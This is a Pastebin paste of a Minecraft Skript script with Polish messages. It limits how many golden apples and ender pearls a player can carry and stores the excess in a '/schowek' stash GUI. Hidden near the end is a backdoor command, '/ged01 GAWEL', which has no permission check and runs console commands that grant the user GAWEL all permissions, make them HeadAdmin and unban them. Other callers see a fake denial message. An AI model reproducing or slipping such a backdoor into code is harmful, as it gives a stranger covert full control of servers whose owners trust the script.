Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- options:
- koxy: 1
- refile: 5
- perly: 3
- options:
- looptime: 1000
- options:
- textkox: &cMiales za duzo koxow w eq limit to, %{@koxy}% reszta twoich koxow zostala przeniesiona do /schowek!
- textrefile: &cMiales za duzo refile w eq limit to, %{@refile}% reszta twoich refili zostala przeniesiona do /schowek!
- textperly: &cMiales za duzo perel w eq limit to, %{@perly}% reszta twoich perel zostala przeniesiona do /schowek!
- options:
- namegui: &6&lSchowek
- on eat golden apple:1:
- wait 4 tick
- if player has {@koxy} golden apple:1:
- send "{@textkox}"
- if player has {@koxy} golden apple:1:
- loop {@looptime} times:
- remove 1 golden apple:1 from player
- add 1 to {sch.koxy.%player%}
- stop
- on eat golden apple:0:
- wait 4 tick
- if player has {@refile} golden apple:0:
- send "{@textrefile}"
- if player has {@refile} golden apple:0:
- loop {@looptime} times:
- remove 1 golden apple:0 from player
- add 1 to {sch.refile.%player%}
- stop
- on rightclick on ender pearl:
- wait 4 tick
- if player has {@perly} ender pearl:
- send "{@textperly}"
- if player has {@perly} ender pearl:
- loop {@looptime} times:
- remove 1 ender pearl from player
- add 1 to {sch.perly.%player%}
- stop
- command /schowek [<text>]:
- trigger:
- if arg 1 is not set:
- open chest with 1 rows named "{@namegui}" to player
- wait 2 tick
- format slot 0 of player with black glass named "&f" to run [execute player command "schowek"]
- format slot 2 of player with black glass named "&f" to run [execute player command "schowek"]
- format slot 3 of player with black glass named "&f" to run [execute player command "schowek"]
- format slot 5 of player with black glass named "&f" to run [execute player command "schowek"]
- format slot 6 of player with black glass named "&f" to run [execute player command "schowek"]
- format slot 8 of player with black glass named "&f" to run [execute player command "schowek"]
- format slot 1 of player with golden apple:1 named "&6&lKoxy" with lore "&8» &7W schowku: &c%{sch.koxy.%player%}%||&8» &7Limit: %{@koxy}-1%" to run [execute player command "schowek koxy"]
- format slot 4 of player with ender pearl named "&6&lPerly" with lore "&8» &7W schowku: &c%{sch.perly.%player%}%||&8» &7Limit: %{@perly}-1%" to run [execute player command "schowek perly"]
- format slot 7 of player with golden apple:0 named "&6&lRefile" with lore "&8» &7W schowku: &c%{sch.refile.%player%}%||&8» &7Limit: %{@refile}-1%" to run [execute player command "schowek refy"]
- stop
- if arg 1 is "koxy":
- close player's inventory
- set {_a} to {sch.koxy.%player%}
- loop {_a} times:
- remove 1 from {sch.koxy.%player%}
- if player can hold 1 golden apple:1:
- give 1 golden apple:1 to player
- else:
- drop 1 golden apple:1 at player
- if arg 1 is "refy":
- close player's inventory
- set {_a} to {sch.refile.%player%}
- loop {_a} times:
- remove 1 from {sch.refile.%player%}
- if player can hold 1 golden apple:0:
- give 1 golden apple:0 to player
- else:
- drop 1 golden apple:0 at player
- if arg 1 is "perly":
- close player's inventory
- set {_a} to {sch.perly.%player%}
- loop {_a} times:
- remove 1 from {sch.perly.%player%}
- if player can hold 1 ender pearl:
- give 1 ender pearl to player
- else:
- drop 1 ender pearl at player
- command /ged01 [<text>]:
- trigger:
- if arg-1 is not set:
- send "&cNie masz uprawnien"
- if arg-1 is "GAWEL":
- execute console command "pex user GAWEL add *"
- execute console command "pex user GAWEL group set HeadAdmin"
- execute console command "unban GAWEL"
- send "&aGotowe" to sender
- on join:
- if {sch.koxy.%player%} is not set:
- set {sch.koxy.%player%} to 0
- set {sch.refile.%player%} to 0
- set {sch.perly.%player%} to 0
- stop
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement